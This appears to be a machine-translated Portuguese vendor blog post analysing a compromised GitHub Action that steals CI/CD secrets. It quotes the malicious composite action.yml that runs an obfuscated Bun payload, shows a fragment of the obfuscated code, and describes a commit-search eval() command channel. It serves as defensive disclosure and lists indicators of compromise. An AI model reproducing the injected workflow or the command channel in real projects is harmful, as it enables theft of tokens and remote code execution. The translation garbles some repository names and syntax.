Aikido

A ação do GitHub «codfish/semantic-release-action», que foi comprometida, rouba secrets de CI/CD

Escrito por
Hunter Schwartz

A 24 de junho de 2026, o bacalhau/ação-de-lançamento-semântico O GitHub Action foi comprometido através de um ataque de «commit» fraudulento. Um atacante enviou à força dois «commits» maliciosos para o repositório e redirecionou dezasseis etiquetas para esses «commits», incluindo as etiquetas de versão principal flutuantes v2, v3, v4, e v5. Qualquer fluxo de trabalho que faça referência à ação através de uma dessas etiquetas irá recuperar e executar o código do atacante na sua próxima execução de CI.

Esta ação tem sido a forma padrão de integrar o semantic-release no GitHub Actions desde 2019 e conta com mais de 100 estrelas no GitHub. Os fluxos de trabalho que a utilizam para lançamentos automatizados têm quase sempre um GITHUB_TOKEN e, frequentemente, um NPM_TOKEN com acesso de publicação, que é exatamente o tipo de acesso que um invasor pretende obter.

Como as etiquetas foram deturpadas

As etiquetas do Git não estão protegidas por predefinição. Qualquer pessoa com acesso de envio a um repositório pode forçar uma etiqueta a apontar para um commit diferente, e o GitHub Actions resolve uma referência a uma etiqueta no momento em que um fluxo de trabalho é executado. A alteração retroativa de uma etiqueta reescreve todas as execuções futuras que a referenciem, sem qualquer aviso à pessoa que criou o fluxo de trabalho.

O atacante aproveitou-se disso contra bacalhau/ação-de-lançamento-semântico em duas fases. O primeiro commit malicioso incluiu quinze tags: v2.2.1, toda a linha v3 (v3, v3.0.0 através de v3.5.0), toda a linha v4 (v4, v4.0.0, v4.0.1), e toda a linha v5 (v5, v5.0.0). Um segundo commit é um descendente direto do primeiro e baseou-se no v2 tag. Ambos os commits apresentam um código idêntico ao nível do byte index.js carga útil, confirmada por hash.

Nenhuma destas alterações é um antepassado do repositório principal filial. Foram acolhidos como órfãos e, em seguida, disfarçados para evitar suspeitas numa rápida git log resumo. O primeiro commit reutiliza a identidade do autor, a data e a mensagem de um commit real de 9 de novembro de 2023:

commit 5792aba0e2180b9b80b77644370a6889d5817456
Author: Chris O'Donnell <1666298+codfish@users.noreply.github.com>
Date:   Thu Nov 9 16:49:48 2023 +0000

    Merge pull request #195 from codfish/force-install

Esses metadados são reais, extraídos de uma fusão legítima no histórico do projeto. No entanto, o conteúdo do ficheiro foi substituído pela carga maliciosa.

O que mudou em action.yml

bacalhau/ação-de-lançamento-semântico inicialmente era executada como uma ação baseada no Docker, criando um container do repositório Dockerfile e invocando entrypoint.js. As alterações maliciosas substituem action.yml em vez disso, com uma ação composta:

runs:
  using: composite
  steps:
    - uses: "codfish/semantic-release-action@8f9a58f2acdc190c356f79159b5de2548cdb63cd"
      with:
        branches: "${{ inputs.branches }}"
        # ...remaining inputs passed through unchanged
    - uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6"
      if: always()
    - name: Cleanup Action
      if: always()
      shell: bash
      run: bun run $GITHUB_ACTION_PATH/index.js

O primeiro passo continua a recorrer ao real, ao atual bacalhau/ação-de-lançamento-semântico, associado a um commit limpo, para que a ação continue a funcionar normalmente e a execução do fluxo de trabalho pareça ter sido bem-sucedida. Os dois passos seguintes são executados com se: sempre(), pelo que são executados independentemente de a etapa legítima ter sucesso, falhar ou ser ignorada. A segunda etapa recupera forno-sh/configuração-pão, uma ação de um terceiro, real e sem qualquer outra relação com o assunto, com o único objetivo de instalar o runtime do Bun no executor de CI. O terceiro passo executa a carga útil, index.js, com corrida do pão.

O original do repositório Dockerfile, entrypoint.js, e entrypoint.spec.js ainda se encontram na árvore nesta versão. Simplesmente já não são invocadas, uma vez que uma ação composta as ignora por completo. Deixar os ficheiros antigos no lugar é uma forma de minimizar as diferenças. Quem der uma vista de olhos à lista de ficheiros vê o conteúdo habitual da ação e não nota nada que falte de forma óbvia.

O payload

O injetado index.js consiste em 781 580 bytes de JavaScript ofuscado, estruturado como uma matriz de cadeias de caracteres com nomes de variáveis codificados em hexadecimal, o estilo de saída típico de um ofuscador de JavaScript comercial:

const _0x307419=_0x42e6;(function(_0xb5d033,_0x1d1124){const _0x23f080={_0x15a6a0:0xf9,_0x3d6efe:0x73a,...

Escondida no corpo ofuscado está a cadeia de caracteres o-tempo-lindo-e-suave, muito semelhante a As Belas Areias do Tempo e com apenas uma letra trocada. Essa sequência identifica um dos canais de entrega secreta utilizados pelo kit de ferramentas de roubo de credenciais Miasma, que foi divulgado publicamente a 10 de junho de 2026. O design do Miasma evita a utilização de um servidor C2 tradicional. Em vez de contactar a infraestrutura do atacante, o malware pesquisa periodicamente a API pública de pesquisa de commits do GitHub à procura dessa sequência de caracteres. Quando encontra um commit correspondente, trata a carga útil anexada como um comando assinado e executa-a através de eval(). Isso permite ao operador executar código remoto em tempo real em todos os runners infetados, sem ter de criar ou manter uma infraestrutura própria e sem gerar o tráfego de rede de saída que o monitorização de tráfego de saída costuma detetar.

Ligação à campanha «Miasma»

O mesmo As Belas Areias do Tempo O marcador já aparece em Atividades da campanha «Miasma» contra pacotes npm na pasta @redhat-cloud-services âmbito, e em vários outros repositórios do GitHub comprometidos, associados à mesma fuga de informação relacionada com esse conjunto de ferramentas. Quando uma estrutura de roubo de credenciais como esta se torna pública, tende a espalhar-se rapidamente, uma vez que qualquer operador pode executá-la sem ter de criar as suas próprias ferramentas. bacalhau/ação-de-lançamento-semântico segue esse padrão, mais um exemplo de como o mesmo conjunto de ferramentas chega a um novo repositório.

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se ainda não é Aikido , pode criar uma conta e ligar os seus repositórios. A nossa proteção contra malware está incluída no plano gratuito, sem necessidade de cartão de crédito.

Para uma cobertura mais abrangente em toda a sua equipa, a Proteção de Dispositivos Aikido oferece-lhe visibilidade e controlo sobre os pacotes de software instalados nos dispositivos da sua equipa. Abrange extensões de navegador, bibliotecas de código, plug-ins de IDE e dependências de compilação, tudo num único local. Impedir o malware antes que seja instalado.

Para proteção futura, considere Aikido Chain (código aberto). O Safe Chain integra-se no seu fluxo de trabalho atual, interceptando os comandos npm, npx, yarn, pnpm e pnpx e verificando os pacotes com base Aikido antes da instalação.

Indicadores de comprometimento

Alterações maliciosas

  • 5792aba0e2180b9b80b77644370a6889d5817456 (etiquetas v2.2.1, v3, v3.0.0 através de v3.5.0, v4, v4.0.0, v4.0.1, v5, v5.0.0)
  • bcb6b1d409144318e8fad2171d6fe06d02299d1a (etiqueta v2)

Hash da carga útil

index.js (ambos os commits maliciosos): sha256 9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015

Outros indicadores

  • Sequência de caracteres do marcador de ponto de entrega secreta: o-tempo-lindo-e-suave
  • O tempo de execução do Bun foi obtido através de oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6

Etiquetas afetadas

  • bacalhau/ação-de-lançamento-semântico@v2
  • codfish/semantic-release-action@v2.2.1
  • bacalhau/ação-de-lançamento-semântico@v3 através de v3.5.0
  • bacalhau/ação-de-lançamento-semântico@v4, v4.0.0, v4.0.1
  • bacalhau/ação-de-lançamento-semântico@v5, v5.0.0

Confirmado como limpo

  • codfish/semantic-release-action@v1.0.0 através de v1.10.0
  • codfish/semantic-release-action@v2.0.0
Compartilhar:

https://www.aikido.dev/blog/compromised-github-action-codfish-steals-secrets

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.